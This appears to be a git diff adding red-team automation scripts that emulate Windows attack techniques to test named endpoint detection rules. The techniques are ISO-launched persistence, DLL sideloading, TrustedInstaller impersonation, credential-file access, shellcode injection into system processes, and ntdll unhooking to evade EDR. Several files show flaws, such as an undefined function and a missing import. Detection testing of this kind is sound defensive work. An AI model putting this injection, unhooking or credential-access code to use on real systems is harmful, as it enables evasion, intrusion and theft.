-https://gist.github.com/Samirbous/cee44dbd0254c28d4f57709d5c723aee +BIN = common.get_path("bin", "rta_unhook_ldrload.exe") + +@common.requires_os(metadata.platforms) + +def main(): + if os.path.exists(BIN) : + print(f'[+] - File {BIN} will be executed') + common.execute(BIN) + # cleanup + common.execute(["taskkill", "/f", "/im", "notepad.exe"]) + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_persistence_from_iso.py b/rta/exec_persistence_from_iso.py new file mode 100644 index 000000000..39cbd9500 --- /dev/null +++ b/rta/exec_persistence_from_iso.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + +metadata = RtaMetadata( + uuid="a4355bfc-aa15-43f6-a36d-523aa637127b", + platforms=["windows"], + siem=[], + endpoint=[{"rule_id": "0cdf1d24-b1c3-4952-a400-5ba3c1491087", "rule_name": "Persistence via a Process from a Removable or Mounted ISO Device"}, + {"rule_id": "3c12c648-e29f-4bff-9157-b07f2cbddf1a", "rule_name": "Scheduled Task from a Removable or Mounted ISO Device"}], + techniques=["T1071", "T1204"], +) + +# iso contains cmd.exe to test for rules looking for persistence from a PE from a mounted ISO or its descendants +ISO = common.get_path("bin", "cmd_from_iso.iso") +PROC = 'cmd.exe' + +# ps script to mount, execute a file and unmount ISO device +PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1") + +@common.requires_os(metadata.platforms) + +def main(): + if os.path.exists(ISO) and os.path.exists(PS_SCRIPT): + print(f'[+] - ISO File {ISO} will be mounted and executed via powershell') + + # commands to trigger two unique rules looking for persistence from a mounted ISO file + for arg in ["'/c reg.exe add hkcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v FromISO /d test.exe /f'", "'/c SCHTASKS.exe /Create /TN FromISO /TR test.exe /sc hourly /F'"] : + + # import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute and -cmdline for arguments + command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC} -cmdline {arg};" + common.execute(command) + # cleanup + rem_cmd = "reg.exe delete 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /v FromISO" + common.execute(["cmd.exe", "/c", rem_cmd], timeout=10) + common.execute(["SCHTASKS.exe", "/delete", "/TN", "FromISO", "/F"]) + print(f'[+] - RTA Done!') + +if __name__ == "__main__": + exit(main()) diff --git a/rta/execution_iso_dll_rundll32.py b/rta/execution_iso_dll_rundll32.py new file mode 100644 index 000000000..d9151e82d --- /dev/null +++ b/rta/execution_iso_dll_rundll32.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + +metadata = RtaMetadata( + uuid="8bd17f51-3fc0-46a8-9e1a-662723314ad4", + platforms=["windows"], + siem=[], + endpoint=[{"rule_id": "779b9502-7912-4773-95a1-51cd702a71c8", "rule_name": "Suspicious ImageLoad from an ISO Mounted Device"}, + {"rule_id": "08fba401-b76f-4c7b-9a88-4f3b17fe00c1", "rule_name": "DLL Loaded from an Archive File"}], + techniques=["T1574", "T1574.002"], +) + +# iso contains shortcut to start Rundll32 to load a testing DLL that when executed it will spawn notepad.exe +ISO = common.get_path("bin", "lnk_from_iso_rundll.iso") +# shortcut name +PROC = 'Invite.lnk' + +# ps script to mount, execute a file and unmount ISO device +PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1") + +@common.requires_os(metadata.platforms) + +def main(): + if os.path.exists(ISO) and os.path.exists(PS_SCRIPT): + print(f'[+] - ISO File {ISO} will be mounted and executed via powershell') + + # import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute + command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC};" + common.execute(command) + + # terminate notepad.exe spawned as a result of the DLL execution + common.execute(["taskkill", "/f", "/im", "notepad.exe"]) + print(f'[+] - RTA Done!') + +if __name__ == "__main__": + exit(main()) diff --git a/rta/execution_iso_dll_sideload.py b/rta/execution_iso_dll_sideload.py new file mode 100644 index 000000000..228ddafc9 --- /dev/null +++ b/rta/execution_iso_dll_sideload.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + +metadata = RtaMetadata( + uuid="ba802fb2-f183-420e-947b-da5ce0c74d123", + platforms=["windows"], + siem=[], + endpoint=[{"rule_id": "ba802fb2-f183-420e-947b-da5ce0c74dd3", "rule_name": "Potential DLL SideLoad via a Microsoft Signed Binary"}], + techniques=["T1574", "T1574.002"], +) + +# iso contains WerFault.exe and a testing faultrep.dll to be sideloaded +ISO = common.get_path("bin", "werfault_iso.iso") +PROC = 'WER_RTA.exe' + +# ps script to mount, execute a file and unmount ISO device +PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1") + +@common.requires_os(metadata.platforms) + +def main(): + if os.path.exists(ISO) and os.path.exists(PS_SCRIPT): + print(f'[+] - ISO File {ISO} will be mounted and executed via powershell') + + # import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute + command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC};" + common.execute(command) + print(f'[+] - RTA Done!') + +if __name__ == "__main__": + exit(main()) diff --git a/rta/impersonate_trusted_installer.py b/rta/impersonate_trusted_installer.py new file mode 100644 index 000000000..0d8170647 --- /dev/null +++ b/rta/impersonate_trusted_installer.py @@ -0,0 +1,58 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6373e944-52c8-4199-8ca4-e88fd6361b9c", + platforms=["windows"], + endpoint=[{'rule_id': 'cc35ee3e-d350-4319-b7f3-ea0d991ce4d9', 'rule_name': 'Suspicious Impersonation as Trusted Installer'}], + siem=[], + techniques=["T1134"], +) + + +def startsvc_trustedinstaller(): + try: + import win32service + hscm = win32service.OpenSCManager(None,None,win32service.SC_MANAGER_ALL_ACCESS) + hs = win32service.OpenService(hscm, "TrustedInstaller", win32service.SERVICE_START) + win32service.StartService(hs, "30") + win32service.CloseServiceHandle(hscm) + win32service.CloseServiceHandle(hs) + print(f'[+] - TrustedInstaller service started') + except Exception as e: + print(f'[x] - Failed to start TrustedInstaller service, probably already started') + pass + +def impersonate_trusted_installer(): + try: + import win32api, win32security, win32file + hp = win32api.OpenProcess(common.PROCESS_QUERY_LIMITED_INFORMATION, 0, common.getppid("TrustedInstaller.exe")) + th = win32security.OpenProcessToken(hp, common.TOKEN_ALL_ACCESS) + new_tokenh = win32security.DuplicateTokenEx(th, 2, common.TOKEN_ALL_ACCESS , win32security.TokenImpersonation , win32security.SECURITY_ATTRIBUTES()) + win32security.ImpersonateLoggedOnUser(new_tokenh) + print(f'[+] - Impersonated TrustedInstaller service') + hf = win32file.CreateFile("rta_ti.txt", win32file.GENERIC_WRITE, 0, None, 2, 0, None) + win32file.WriteFile(hf,("AAAAAAAA").encode()) + win32file.CloseHandle(hf) + win32api.CloseHandle(hp) + print(f'[+] - Created File rta_ti.txt as the TrustedInstaller service') + win32file.DeleteFile("rta_ti.txt") + print(f'[+] - Deleted rta_ti.txt') + except Exception as e: + print(f'[x] - Failed TrustedInstaller Impersonation') + pass + +@common.requires_os(metadata.platforms) +def main(): + common.impersonate_system() + startsvc_trustedinstaller() + impersonate_trusted_installer() + +if __name__ == "__main__": + exit(main()) diff --git a/rta/sensitive_file_access.py b/rta/sensitive_file_access.py new file mode 100644 index 000000000..b55f34e2e --- /dev/null +++ b/rta/sensitive_file_access.py @@ -0,0 +1,59 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + + +from . import common +from . import RtaMetadata + + + +metadata = RtaMetadata( + uuid="bdb54776-d643-4f4c-90cc-7719c2fa7eab", + platforms=["windows"], + endpoint=[ + {"rule_name": "Sensitive File Access - Unattended Panther", "rule_id": "52e4ad92-e09b-4331-b827-cd0f2cbaf576"}, + {"rule_name": "Potential Discovery of Windows Credential Manager Store", "rule_id": "cc60be0e-2c6c-4dc9-9902-e97103ff8df9"}, + {"rule_name": "Potential Discovery of DPAPI Master Keys", "rule_id": "84bbe951-5141-4eb3-b9cf-8dfeea62a94e"}, + {"rule_name": "Suspicious Access to Active Directory Database File", "rule_id": "d66765b8-010b-4a40-ab62-1d8f13a44878"}, + {"rule_name": "Sensitive File Access - SSH Saved Keys", "rule_id": "1487d726-2bd2-4a9e-a9d2-db8aef1d6239"}, + {"rule_name": "Failed Attempts to Access Sensitive Files", "rule_id": "3163dd96-c677-4f1f-98bf-c8f3c81b197b"}, + {"rule_name": "Sensitive File Access - System Admin Utilities", "rule_id": "949c72ee-a283-4673-afe0-7fa72bddc2f6"}, + {"rule_name": "Potential Credential Access via Windows Credential History", "rule_id": "ce8a6302-7248-457a-8427-3d6bad14e2f0"}, + ], + siem=[], + techniques=["T1555.004", "T1552.001", "T1003.003"], +) + +@common.requires_os(metadata.platforms) + + +def main(): + from os import path + import win32file + files = ["%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data", + "%localappdata%\\Google\\Chrome\\User Data\\Default\\History", + "%localappdata%\\Google\\Chrome\\User Data\\Default\\Local State", + "%appdata%\\Mozilla\\Firefox\\Profiles\\test\\logins.json", + "%appdata%\\Mozilla\\Firefox\\Profiles\\test\\cookies.sqlite", + "%appdata%\\key3.db", + "%appdata%\\KeePass\\KeePass.config.xml", + "C:\\Users\\Public\\AppData\\Local\\Microsoft\\Vault\\test", + "%appdata%\\Microsoft\\Credentials\\test", + "C:\\Windows\\Panther\\Unattend.xml", + "C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\test", + "C:\\Windows\\NTDS\\NTDS.dit", + "C:\\Users\\Public\\.ssh\\known_hosts", + "C:\\Users\\Public\\AppData\\Something\\FileZilla\\recentservers.xml", + "%appdata%\\Microsoft\\Protect\\CREDHIST"] + for item in files: + try: + win32file.CreateFile(path.expandvars(item), win32file.GENERIC_READ, 0, None, 3, 0, None) + time.sleep(2) + except Exception as e: + print(f'[x] - Failed to open {item}') + pass + +if __name__ == "__main__": + exit(main()) diff --git a/rta/shellcode_load_ws2_32_unbacked.py b/rta/shellcode_load_ws2_32_unbacked.py new file mode 100644 index 000000000..c9409cee3 --- /dev/null +++ b/rta/shellcode_load_ws2_32_unbacked.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +# shellcode to load ws2_32.dll from unbacked memory to trigger +SHELLCODE = b"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x74\x6F\x6E\x61\x51\x83\x6C\x24\x03\x61\x68\x65\x42\x75\x74\x68\x4D\x6F\x75\x73\x68\x53\x77\x61\x70\x54\x50\xFF\xD2\x83\xC4\x14\x33\xC9\x41\x51\xFF\xD0\x83\xC4\x04\x5A\x5B\xB9\x65\x73\x73\x61\x51\x83\x6C\x24\x03\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x53\xFF\xD2\x33\xC9\x51\xFF\xD0\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90" + + +metadata = RtaMetadata( + uuid="727aa289-a1ff-4c82-b688-4cc99e07269f", + platforms=["windows"], + endpoint=[ + {'rule_id': 'aa265fbd-4c57-46ff-9e89-0635101cc50d', + 'rule_name': 'Network Module Loaded from Suspicious Unbacked Memory"'}, + {'rule.id': 'ace0bb76-290f-4f5f-a21f-c3b13ee415a9', + 'rule_name': 'Potential Masquerading as Windows Error Manager'}, + ], + siem=[], + techniques=["T1055", "T1036"], +) + + +@common.requires_os(metadata.platforms) + +def main(): + # Inject shellcode into WerFault.exe to trigger + common.Inject(u"C:\\Windows\\SysWOw64\\WerFault.exe", SHELLCODE) + #time.sleep(2) + common.execute(["taskkill", "/f", "/im", "WerFault.exe"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/shellcode_winexec_calc.py b/rta/shellcode_winexec_calc.py new file mode 100644 index 000000000..db1376370 --- /dev/null +++ b/rta/shellcode_winexec_calc.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +# shellcode to pop calc +SHELLCODE = b"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6" + + +metadata = RtaMetadata( + uuid="979b8d18-e266-41ad-bab4-6e68971398ea", + platforms=["windows"], + endpoint=[ + {'rule_id': '58b996a5-634c-4205-9ffa-a6f2b8ebc1ad', 'rule_name': 'Potential Process Creation via ShellCode'}, + {'rule_id': '2ad63716-3dc3-49ba-b682-ef4b9e4a4d87', 'rule_name': 'Potential Injection via the Console Window Class'} + ], + siem=[], + techniques=["T1134", "T1055"], +) + +@common.requires_os(metadata.platforms) + +def main(): + + # Inject shellcode into conhost.exe to trigger 2 rules + common.Inject(u"C:\\Windows\\System32\\conhost.exe", SHELLCODE) + + # Terminate CalculatorApp.exe and Calc.exe processes using taskkill + common.execute(["taskkill.exe", "/f", "/im", "CalculatorApp.exe"]) + common.execute(["taskkill.exe", "/f", "/im", "Calc.exe"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/src/LoadLib-Callback64.cpp b/rta/src/LoadLib-Callback64.cpp new file mode 100644 index 000000000..5cdd29557 --- /dev/null +++ b/rta/src/LoadLib-Callback64.cpp @@ -0,0 +1,76 @@ +#include +#include +#include + +#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) + +#define IMPORTAPI(DLLFILE, FUNCNAME, RETTYPE, ...) \ + typedef RETTYPE(WINAPI *type##FUNCNAME)(__VA_ARGS__); \ + type##FUNCNAME FUNCNAME = (type##FUNCNAME)GetProcAddress( \ + (LoadLibraryW(DLLFILE), GetModuleHandleW(DLLFILE)), #FUNCNAME); + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) + +HMODULE getModuleHandle(LPCWSTR libraryName) { + const LIST_ENTRY *head = + &NtCurrentTeb()->ProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList; + LIST_ENTRY *next = head->Flink; + + while (next != head) { + LDR_DATA_TABLE_ENTRY *entry = + CONTAINING_RECORD(next, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); + const UNICODE_STRING *basename = + (UNICODE_STRING *)((BYTE *)&entry->FullDllName + + sizeof(UNICODE_STRING)); + + if (_wcsicmp(libraryName, basename->Buffer) == 0) { + return (HMODULE)entry->DllBase; + } + + next = next->Flink; + } + return NULL; +} + +HMODULE queueLoadLibrary(WCHAR *libraryName, BOOL swtch) { + IMPORTAPI(L"NTDLL.dll", NtWaitForSingleObject, NTSTATUS, HANDLE, BOOLEAN, + PLARGE_INTEGER); + + if (swtch) { + IMPORTAPI(L"NTDLL.dll", RtlQueueWorkItem, NTSTATUS, PVOID, PVOID, ULONG); + + if (NT_SUCCESS(RtlQueueWorkItem(&LoadLibraryW, (PVOID)libraryName, + WT_EXECUTEDEFAULT))) { + LARGE_INTEGER timeout; + timeout.QuadPart = -500000; + NtWaitForSingleObject(NtCurrentProcess(), FALSE, &timeout); + } + } else { + IMPORTAPI(L"NTDLL.dll", RtlRegisterWait, NTSTATUS, PHANDLE, HANDLE, PVOID, + PVOID, ULONG, ULONG); + HANDLE newWaitObject; + HANDLE eventObject = CreateEventW(NULL, FALSE, FALSE, NULL); + + if (NT_SUCCESS(RtlRegisterWait(&newWaitObject, eventObject, LoadLibraryW, + (PVOID)libraryName, 0, WT_EXECUTEDEFAULT))) { + WaitForSingleObject(eventObject, 500); + } + } + + return getModuleHandle(libraryName); +} + +int main(int argc, char ** argv) { + WCHAR libraryName1[] = L"ws2_32.dll"; + WCHAR libraryName2[] = L"dnsapi.dll"; + + HMODULE moduleHandle = queueLoadLibrary(libraryName1, TRUE); + printf("%ws loaded at 0x%p via RtlQueueWorkItem\n", libraryName1, moduleHandle); + FreeLibrary(moduleHandle); + + moduleHandle = queueLoadLibrary(libraryName2, FALSE); + printf("%ws loaded at 0x%p via RtlRegisterWait\n", libraryName2, moduleHandle); + FreeLibrary(moduleHandle); + + +} diff --git a/rta/src/faultrep.cpp b/rta/src/faultrep.cpp new file mode 100644 index 000000000..928fb264c --- /dev/null +++ b/rta/src/faultrep.cpp @@ -0,0 +1,39 @@ +#define WIN32_LEAN_AND_MEAN +#include + +extern "C" __declspec(dllexport) +DWORD WINAPI WerpInitiateCrashReporting(LPVOID lpParam) { + STARTUPINFO si; + PROCESS_INFORMATION pi; + + ZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); + ZeroMemory(&pi, sizeof(pi)); + + LPTSTR cmd = __TEXT("c:\\windows\\system32\\notepad.exe"); + if (!CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { + MessageBox(NULL, "Create Process failed", "Error", NULL); + } + auto const address = VirtualAlloc(NULL, 0x10000, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); + HANDLE h = LoadLibraryA("ws2_32.dll"); + DWORD old; + VirtualProtect(address, 0x10, PAGE_READWRITE, &old); + return 0; +} + + +extern "C" __declspec(dllexport) +BOOL APIENTRY DllMain(HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved) { + switch (ul_reason_for_call) { + case DLL_PROCESS_ATTACH: + CreateThread(NULL, NULL, OIPC_InitPlus, NULL, NULL, NULL); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} diff --git a/rta/src/rta_unhook_ldrload.cpp b/rta/src/rta_unhook_ldrload.cpp new file mode 100644 index 000000000..0930119ad --- /dev/null +++ b/rta/src/rta_unhook_ldrload.cpp @@ -0,0 +1,90 @@ +#include +#include +#include +#include + + +typedef NTSTATUS(NTAPI* pLdrLoadDll) ( + PWCHAR PathToFile, + ULONG Flags, + PUNICODE_STRING ModuleFileName, + PHANDLE ModuleHandle + ); + +typedef VOID(NTAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); + +HMODULE NtLoad(LPCWSTR lpFileName) { + UNICODE_STRING ustrModule; + HANDLE hModule = NULL; + + HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); + pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString"); + + RtlInitUnicodeString(&ustrModule, lpFileName); + + pLdrLoadDll myLdrLoadDll = (pLdrLoadDll)GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll"); + if (!myLdrLoadDll) { + return NULL; + } + + NTSTATUS status = myLdrLoadDll(NULL, 0, &ustrModule, &hModule); + return (HMODULE)hModule; +} + +int main() +{ + HANDLE process = GetCurrentProcess(); + MODULEINFO mi = {}; + HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); + STARTUPINFO si; + PROCESS_INFORMATION pi; + STARTUPINFOW initInfo = { 0 }; + initInfo.cb = sizeof(initInfo); + PROCESS_INFORMATION procInfo = { 0 }; + + + GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); + LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; + HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); + LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); + + PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; + PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); + + // unhook current proces ntdll .txt section + for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { + PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); + + if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) { + DWORD oldProtection = 0; + bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); + memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); + isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); + } + } + + // load ws2_32.dll from unhooked ntdll to trigger "Potential NTDLL Memory Unhooking" + HANDLE ws32 = LoadLibraryA("C:\\Windows\\system32\\ws2_32.dll"); + printf("[+] - ws2_32.dll loaded at 0x%p\n", ws32); + + // create notepad.exe from unhooked ntdll to trigger "Process Creation from Modified NTDLL" + CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, (LPSTARTUPINFOA)&initInfo, &procInfo); + printf("[+] - notepad.exe created from unhooked ntdll\n"); + + // load psapi.dll via LdrLoadDll to trigger "Suspicious Image Load via LdrLoadDLL" + HMODULE psapi = NtLoad(L"psapi.dll"); + printf("[+] - psapi.dll loaded at 0x%p via LdrLoadDll\n", psapi); + + printf("[+] - RTA Done!\n", psapi); + + // close handles + CloseHandle(process); + CloseHandle(ntdllFile); + CloseHandle(ntdllMapping); + CloseHandle(ws32); + CloseHandle(psapi); + FreeLibrary(ntdllModule); + + return 0; +}